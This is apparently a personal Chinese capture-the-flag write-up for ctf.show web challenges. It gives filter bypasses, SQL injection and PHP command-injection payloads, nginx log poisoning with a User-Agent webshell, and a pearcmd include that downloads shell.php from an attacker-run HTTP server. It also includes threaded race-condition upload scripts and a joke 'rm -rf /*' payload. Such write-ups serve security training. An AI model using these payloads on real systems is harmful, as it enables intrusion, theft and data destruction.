web
web1
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>
目标就是让intval($id) <= 999的同时$id=1000
?id=999%2B1
+用urlencode->%2B
?id=10 or id=1000#从sql语句入手
web2
和上一题比只多了个
if(preg_match("/or|\+/i",$id))
只要不出现or或者+就可以了
?id=100*10
?id=10||id=1000#从sql语句入手
web3
修改了匹配规则
preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)
intval如果转换字符串的时候,先判断是否以数字开头。当传入’1000’时,以’开头,直接返回0
<?php
$a='1000'
$b=$_GET['b']
当传入?b='1000'时,分别var_dump $a和$b,返回的结果不一样
?id='1000'
web4
preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)
还是web3的原则,利用取反符号,intval遇到~会判断为字符串,得到0绕过
?id=~~1000
web5
preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i", $id)
继续取反
?id=~~1000
web6
preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)
继续
?id=~~1000
web7
preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)
intval默认给的base是10,当base给到0的时候,才会根据传入的值动态判断base。base10解析之后的0b1111101000应该是int(0)
?id=0b1111101000
web8
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
傻逼题
?flag=rm -rf /*
web9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
傻逼了,以为看的是!preg_match,最开始用的php://input伪协议绕过
结果这么简单
?c=system('cat config'|base64)
web10
if(!preg_match("/system|exec|highlight/i",$c))
换用passthru()函数
?c=passthru('cat config.php|base64');
web11
if(!preg_match("/system|exec|highlight|cat/i",$c))
passthru+tac
?c=passthru('tac config.php|base64');
web12
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))
禁止的字符新增了. php config
考虑使用通配符
?c=passthru('tac c*|base64');
web13
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))
亏贼,?>
能代替;
?c=passthru('tac c*|base64')?>
web14
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))
多加了个(,其实还挺低能的,在上面也能用统一方法直接echo出来
就是需要把;换成?>
参考
代码不能包含打开/关闭 PHP tags。比如,
'echo "Hi!";'
不能这样传入:'<?php echo "Hi!"; ?>'
。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'
。
?c=echo $flag?>
web15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))
把<>?全过滤了,没发离开php模式,但没禁用;
?c=echo $flag;
web16
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")
脑残,md5逆向之后是ctfshow36d
?c=36d
web17
if(!preg_match("/php/i",$c)){
include($c);
}
看到include,第一时间想的伪协议。换用了data也因为被禁用没有成功
data:// wrapper is disabled in the server configuration by allow_url_include=0
看了wp才知道,只是包含日志
?c=/var/log/nginx/access.log
通过日志看得出来会记录UA
那就修改UA为一句话木马
然后访问带着一句话木马的UA访问一遍网站,等写进去再打一遍
?c=/var/log/nginx/access.log
test=system('cat 36d.php|base64');
web18
只在$_GET[‘c’]里多加入了对file的过滤,同上↑
web19
if(!preg_match("/php|file|base/i",$c))
同理
web20
if(!preg_match("/php|file|base|rot/i",$c))
同理
web21
if(!preg_match("/php|file|\:|base|rot/i",$c))
同上
web22
if(!preg_match("/\:|\/|\\\/i",$c))
亏贼,难度一下上来了,完全没有思路
https://blog.csdn.net/qq_46091464/article/details/108954166
‘argv‘
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
‘argc‘
包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下)。
当正常传入?c=xxx&b=xx时,$_SERVER[‘argc’]的值始终是1
但是略加修改,?c=xxx&+b=xx时,就变成了2。
而环境内极其傻逼的还有一个pearcmd.php,pearcmd有一个download功能可以从外部下载php文件
那就是包含了pearcmd.php,然后通过+分隔,执行download命令
攻击机:
echo "<?php system('cat 3*|base64');?>">shell.php
python3 -m http.server 81
靶机:
?c=pearcmd&+download+http://ip:81/shell.php
/shell.php
获得百分之百的快乐
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
要求传入1的长度<4,太牛逼了
直接跑个ls,发现名字都很靠后
tip:在linux上,直接执行>name可以创建一个名为name的文件并往里写东西
在Linux的Shell环境下,直接执行星号(*)通常会触发通配符展开(Wildcard Expansion)操作,其效果是匹配当前目录下的所有文件和目录(除了以点开头的隐藏文件和隐藏目录)并将它们作为参数传递给相应的命令。这是因为星号(*)是通配符,用于匹配零个或多个字符。
直接输*会把当前文件夹下的第一个文件名作为命令,剩余的文件名作为参数
如果当前文件夹下有文件:cat,test。执行*的效果等价于cat test
除了cat,还有nl这个命令同样可以用来显示内容
?1=>nl
?1=*
web23
第一次遇到竞争上传,学习一下
其实每次上传成功之后都要等一下就该意识到有个sleep然后想到竞争上传的
源码
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
echo "uploads/$new_filename";
sleep(1);
system("rm -rf ./uploads/*.php");
}
有爆破脚本
# coding: utf-8
# Auth: y2hlbmc
import requests
import time
import threading
url = "http://0d33429a-38e4-4c4e-8d57-16fca7d5eab1.challenge.ctf.show/"
def Thread(fun,*args):
return threading.Thread(target=fun, args=args)
def req(fname):
r = requests.get(url + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
def Thread_start(fname):
for i in range(100,400):
# 每个文件名单起一个线程
Thread(req, fname + str(i)).start()
def upload():
while True:
# 指定每次上传文件的内容
file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()
if __name__ == '__main__':
upload()
当然也可以用bp+python一起爆
具体思路是bp用instruder一直发送上传包
python用当前时间+range+thread一直爆
如果不采用推算文件名和多线程的方法,想要在来回时延下做到1s内访问到是非常困难的,所以下面代码的成功率极低
file_data = {'file': ('shell.php', "<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php", files = file_data)
txt = r.text
# print("uploaded:", txt)
r = requests.get(url + "uploads/" + txt)
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
web24
一样是竞争上传的题目,把range减少,时间增加了
# coding: utf-8
# Auth: y2hlbmc
import requests
import time
import threading
url = "http://aa167920-a54b-498c-bf8e-877615061128.challenge.ctf.show/"
def Thread(fun,*args):
return threading.Thread(target=fun, args=args)
def req(fname):
r = requests.get(url + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
def Thread_start(fname):
for i in range(100,300):
# 每个文件名单起一个线程
Thread(req, fname + str(i)).start()
def upload():
while True:
# 指定每次上传文件的内容
file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(url + "upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()
if __name__ == '__main__':
upload()